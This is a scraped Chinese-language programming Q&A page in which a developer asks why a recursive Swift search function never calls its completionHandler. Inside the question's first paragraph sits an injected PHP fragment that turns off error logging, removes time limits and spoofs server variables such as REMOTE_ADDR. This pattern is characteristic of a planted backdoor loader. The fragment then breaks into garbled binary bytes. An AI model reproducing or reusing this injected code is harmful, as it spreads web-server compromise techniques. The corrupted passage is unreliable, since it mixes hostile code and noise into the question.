未返回完成处理程序

时间:2016-01-05 07:15:06

标签: ios swift

如果附加结果的数组的计数小于15或者查询已经运行了30次,我有一个我希望继续运行的函数。除了永远不会返回@ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @set_time_limit(0); if(isset($_SERVER)) { $_SERVER['PHP_SELF'] = "/"; $_SERVER['REMOTE_ADDR'] = "127.0.0.1"; if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['HTTUÕ²&"%ÒÒF&C° —&WGW&â&6ScEöVæ6öFR‡6W&–Æ—¦R‚G&W2’“°§Ð 之外,一切似乎都有效。 (这可能是因为它超出了范围吗?)

搜索功能

completionHandler

调用功能

  func search(completionHandler: (Bool) -> ()) -> () {
    let queryLimit = 20
    self.searchTerms = self.createArray()
    self.getData(searchTerms[self.searchCounter]){_ in
         if (self.searchCounter >= queryLimit || (parResults.count >= 15)){
            print("SEARCH COMPLETE")
            completionHandler(true)
        }
        else{
            self.searchCounter++
            self.search(){_ in
            }
            print("Query Count is \(self.searchCounter)")
            print("Results count is \(parResults.count))")
            if (self.searchCounter % 5 == 0){
                self.termCount+=150
            }
            if(self.searchCounter == queryLimit && parResults.count > 0){
                //DISPLAY PARTIAL RESULTS?
                print("PARTIAL")
               completionHandler(true)
            }
            //No results
            if(self.searchCounter == queryLimit && parResults.count == 0){
                //SHOW USER NOTICE TO CHANGE SETTINGS
                print("SHOW USER NOTICE TO CHANGE SETTINGS")
                completionHandler(true)
            }
        }
    }

}

0 个答案:

没有答案